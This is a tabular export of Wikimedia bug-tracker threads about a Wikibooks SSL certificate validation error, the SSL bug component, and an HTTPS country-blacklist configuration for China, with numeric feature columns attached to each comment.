**Severity**: normal",Low,25.0,1379900100,1419431545.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_description,resolved,True,c2,3,False,False,False,3,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.8684210526315788,0.6052631578947368,"URL: URL
Browser: Google Chrome 29.0.1547.66
OS: Microsoft Windows XP [5.1.2600]

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
392732,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","resolving this for now as there's no activity and no clear action, feel free to reopen of course",,,1419431545,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,69,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.95,0.95,"resolving this for now as there's no activity and no clear action, feel free to reopen of course"
255110,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","As far as I know all the popular OS / browser combinations ship with the necessary root certificate. So it should not happen in the default state. It is expected that when the root we use is disabled or deleted then one gets a warning or error.

I suspect that happened on that computer. You could check if the root is there under (from Chromium on Linux, hope this is similar for Chrome on Windows) Settings -> HTTPS/SSL: Manage certificates -> Authorities: Digicert Inc: DigiCert High Assurance EV Root CA. It should not say untrusted next to it and when you click the edit button ""Trust this certificate for identifying websites."" should be checked. (Most likely that was unchecked by another user.)

Do you want to follow up on this on that public computer or one that has the same problem?

If you find a configuration where that root is enabled and it doesn't work please open a new ticket. If you find a OS / browser combination that doesn't ship with this root or has it disabled per default please also report it.",,,1405166710,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,45,True,0.3333333333333333,0.0,0.0,1.3333333333333333,1.6666666666666667,3.3333333333333335,1.0,0.0,0.0,1.3333333333333333,1.0,1.0,0.0,0.0,0.0,1.0,0.3333333333333333,5.666666666666667,8.333333333333334,0.0,0.3333333333333333,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,7.0,3.0,2.6666666666666665,1.3333333333333333,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,10.333333333333334,0.6666666666666666,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,1.3333333333333333,0.3333333333333333,1.0,0.0,4.333333333333333,2.3333333333333335,11.0,2.6666666666666665,2.3333333333333335,8.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,0.0,0.0,6.0,8.333333333333334,5.666666666666667,0.3333333333333333,0.6666666666666666,0.0,6.0,0.0,2.3333333333333335,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,3.9345331246739694,0.7756911841418884,"As far as I know all the popular OS / browser combinations ship with the necessary root certificate. So it should not happen in the default state. It is expected that when the root we use is disabled or deleted then one gets a warning or error.

I suspect that happened on that computer. You could check if the root is there under (from Chromium on Linux, hope this is similar for Chrome on Windows) Settings -> HTTPS/SSL: Manage certificates -> Authorities: Digicert Inc: DigiCert High Assurance EV Root CA. It should not say untrusted next to it and when you click the edit button ""Trust this certificate for identifying websites."" should be checked. (Most likely that was unchecked by another user.)

Do you want to follow up on this on that public computer or one that has the same problem?

If you find a configuration where that root is enabled and it doesn't work please open a new ticket. If you find a OS / browser combination that doesn't ship with this root or has it disabled per default please also report it."
255105,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #7)
> (In reply to comment #6)
> > On that computer, the reported error was ""issuer not trusted"".
> 
> In that case it sounds like it is missing the root and/or intermediate cert
> of
> the CA, which in this case is DigiCert.
> 
> You could go to:
> 
> https://www.digicert.com/digicert-root-certificates.htm
> 
> and download them and install in your browser.
> 
> It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate
> cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser
> should offer some install dialog when you hit download. 
> 
> That should make it trust the issuer.

Well that's not ""my browser"" or ""my computer"". I saw this on some public computer, and wondered whether this also happens on other OS / browsers in their default states.",,,1380558898,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,False,,,4,True,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,1.0,2.0,5.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,5.0,7.0,19.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.253012048192771,0.4939759036144578,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well that's not ""my browser"" or ""my computer"". I saw this on some public computer, and wondered whether this also happens on other OS / browsers in their default states."
255100,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #6)
> On that computer, the reported error was ""issuer not trusted"".

In that case it sounds like it is missing the root and/or intermediate cert of the CA, which in this case is DigiCert.

You could go to:

https://www.digicert.com/digicert-root-certificates.htm

and download them and install in your browser.

It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser should offer some install dialog when you hit download. 

That should make it trust the issuer.",,,1380558459,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,4,True,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.5,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,3.0,1.0,3.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,2.0,15.5,1.0,2.5,7.0,0.0,0.0,0.0,0.5,5.5,0.0,1.5,0.0,7.0,7.0,10.5,0.0,4.5,0.0,7.0,0.0,1.5,0.0,1.5,0.5,0.0,0.0,0.0,3.666666666666667,0.75,"(In reply to comment #6)
QUOTE

In that case it sounds like it is missing the root and/or intermediate cert of the CA, which in this case is DigiCert.

You could go to:

URL

and download them and install in your browser.

It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser should offer some install dialog when you hit download. 

That should make it trust the issuer."
255094,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #4)
>
> so i guess there must be some old browsers who don't look at the alt. names
> but
> just the main CN and then throw warnings while it isn't a problem for most
> users.

On that computer, the reported error was ""issuer not trusted"".",,,1380551783,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.7272727272727273,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

On that computer, the reported error was ""issuer not trusted""."
255089,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)",Do you actually get a browser warning? what does that look like? the cert file you uploaded also includes wikibooks.,,,1380551707,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.217391304347826,0.9130434782608695,Do you actually get a browser warning? what does that look like? the cert file you uploaded also includes wikibooks.
255084,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","this is a certificate that has common name *.wikipedia.org but it has a lot of ""Certificate Subject Alt Name""s. So in a browser in certificate details you need to go to that section and you'll see all these.. i'm just pasting the beginning to show wikibooks.org is in it.


DNS Name: *.wikipedia.org
DNS Name: wikipedia.org
DNS Name: m.wikipedia.org
DNS Name: *.m.wikipedia.org
DNS Name: wikibooks.org
DNS Name: m.wikibooks.org
DNS Name: *.wikibooks.org
DNS Name: *.m.wikibooks.org
...

and more ..

so i guess there must be some old browsers who don't look at the alt. names but just the main CN and then throw warnings while it isn't a problem for most users.",,,1380551582,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,4,True,1.0,0.0,0.0,0.0,1.5,3.5,2.5,0.0,0.0,0.0,1.5,2.5,0.0,0.0,0.5,1.0,0.0,4.5,5.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,1.5,1.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,11.0,1.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,4.0,2.5,13.0,0.5,3.0,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,4.0,5.5,13.5,0.0,0.5,0.0,4.0,0.0,1.0,2.0,0.0,0.5,0.5,0.5,2.0,3.9097222222222223,0.6805555555555556,"this is a certificate that has common name *.wikipedia.org but it has a lot of ""Certificate Subject Alt Name""s. So in a browser in certificate details you need to go to that section and you'll see all these.. i'm just pasting the beginning to show wikibooks.org is in it.


DNS Name: *.wikipedia.org
DNS Name: wikipedia.org
DNS Name: m.wikipedia.org
DNS Name: *.m.wikipedia.org
DNS Name: wikibooks.org
DNS Name: m.wikibooks.org
DNS Name: *.wikibooks.org
DNS Name: *.m.wikibooks.org
...

and more ..

so i guess there must be some old browsers who don't look at the alt. names but just the main CN and then throw warnings while it isn't a problem for most users."
255079,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #2)
> How would I realize if it does not validate? Google Chrome says ""Identity
> verified"" when clicking on the locker icon in the URL bar.

It doesn't say so for me on that computer. You may need to use the same OS to reproduce it.",,,1379940712,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.9444444444444446,0.8611111111111112,"(In reply to comment #2)
QUOTE
QUOTE

It doesn't say so for me on that computer. You may need to use the same OS to reproduce it."
255074,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","How would I realize if it does not validate? Google Chrome says ""Identity verified"" when clicking on the locker icon in the URL bar.",,,1379938592,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,7.0,4.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,3.892857142857143,0.9285714285714286,"How would I realize if it does not validate? Google Chrome says ""Identity verified"" when clicking on the locker icon in the URL bar."
255069,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","Created attachment 13350
Received SSL cert

**Attached**: {F11896}",,,1379900248,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.8235294117647058,"Created attachment 13350
Received SSL cert

**Attached**: {F11896}"
55999,SSL component vs. tracking bug vs potential ssl keyword,"1. There is a ""Wikimedia > SSL related"" component in Bugzilla.
It feels wrong as ""SSL related"" is not an ""isolatable"" part of the codebase.
For example bug 39676 should be under ""Wikimedia > Email"" instead.

2. Tracking bug 27946 had the name ""Secure Server (tracking)"" and refered to the secure.wikimedia.org URL. At some point people (ab)used it for general SSL issues and renamed to ""SSL related (tracking)"".

Maybe both should be killed and turned into a ""ssl"" keyword.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1378832040,1416786029.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-25ruekexebdkltbvcvqt,task_description,declined,True,c2,3,True,True,False,1,True,1.0,0.0,0.0,1.0,0.5,2.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,6.5,0.0,0.0,1.5,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,11.5,0.0,2.5,5.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.5,6.5,8.0,0.0,8.5,0.0,1.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,2.0,3.6461538461538465,0.6846153846153846,"1. There is a ""Wikimedia > SSL related"" component in Bugzilla.
It feels wrong as ""SSL related"" is not an ""isolatable"" part of the codebase.
For example bug 39676 should be under ""Wikimedia > Email"" instead.

2. Tracking bug 27946 had the name ""Secure Server (tracking)"" and refered to the secure.wikimedia.org URL. At some point people (ab)used it for general SSL issues and renamed to ""SSL related (tracking)"".

Maybe both should be killed and turned into a ""ssl"" keyword.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
332310,SSL component vs. tracking bug vs potential ssl keyword,"Wikimedia has migrated from Bugzilla to Phabricator. Learn more about it here: https://www.mediawiki.org/wiki/Phabricator/versus_Bugzilla - This task does not make sense anymore in the concept of Phabricator, hence closing as declined.",,,1416786029,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-25ruekexebdkltbvcvqt,task_subcomment,,True,c2,3,True,,,64,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,18.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,4.4411764705882355,0.9411764705882353,"Wikimedia has migrated from Bugzilla to Phabricator. Learn more about it here: URL - This task does not make sense anymore in the concept of Phabricator, hence closing as declined."
55739,wmgHTTPSBlacklistCountries changes for CN,"It was reported by users that HTTPS block in China was only for Wikipedia, thus the following change is proposed, given the current policy of having the best security while trying to keep access for logged-in users in China.

'wmgHTTPSBlacklistCountries' => array(
	'default' => array(
		'IR', // Iran
	),
	'wikipedia' => array(
		'CN', // China
		'IR', // Iran
	),
),

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
{T54846}
{T66207}",Low,25.0,1378281480,1434484005.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-aswxwscnrmmqcunfrdq2,task_description,declined,True,c2,3,False,False,False,1,True,0.0,0.0,0.0,1.0,0.0,2.5,0.5,0.0,0.0,0.0,2.0,7.5,0.0,0.5,0.0,0.0,0.0,1.5,4.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.5,0.0,0.5,0.0,0.5,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.5,11.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,4.5,9.0,0.0,7.5,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.5,3.164179104477612,0.5970149253731343,"It was reported by users that HTTPS block in China was only for Wikipedia, thus the following change is proposed, given the current policy of having the best security while trying to keep access for logged-in users in China.

'wmgHTTPSBlacklistCountries' => array(
	'default' => array(
		'IR', // Iran
	),
	'wikipedia' => array(
		'CN', // China
		'IR', // Iran
	),
),

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
{T54846}
{T66207}"
475852,wmgHTTPSBlacklistCountries changes for CN,wmgHTTPSBlacklistCountries is effectively obsolete at this point due to the conversion of everything to HTTPS.,,,1434484005,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,93,True,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,31.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.9375,wmgHTTPSBlacklistCountries is effectively obsolete at this point due to the conversion of everything to HTTPS.
236712,wmgHTTPSBlacklistCountries changes for CN,"(In reply to Andre Klapper from comment #12)
> Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)

I can't check it now but per user reports, the current situation is that:

* Desktop sites: no block at all
* Mobile sites: all projects are blocked

... and this can't be described with our configuration array. :/

Should we still be playing this cat & mouse game?",,,1395428710,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,29,True,3.0,0.0,0.0,3.0,3.0,3.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,8.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,11.0,1.0,4.0,7.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,5.0,9.0,4.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.546666666666667,0.8266666666666667,"(In reply to Andre Klapper from comment #12)
QUOTE

I can't check it now but per user reports, the current situation is that:

* Desktop sites: no block at all
* Mobile sites: all projects are blocked

... and this can't be described with our configuration array. :/

Should we still be playing this cat & mouse game?"
236705,wmgHTTPSBlacklistCountries changes for CN,"Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)",,,1395322745,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,29,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,6.0,33.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.7222222222222222,"Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)"
236698,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #10)
> Liangent: Situation is still as described in comment 8?

OK but it's reported by users that HTTPS is not blocked at all now...",,,1389295226,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,19,True,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,4.0,19.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1481481481481484,1.0,"(In reply to comment #10)
QUOTE

OK but it's reported by users that HTTPS is not blocked at all now..."
236693,wmgHTTPSBlacklistCountries changes for CN,Liangent: Situation is still as described in comment 8?,,,1389270599,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,19,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,Liangent: Situation is still as described in comment 8?
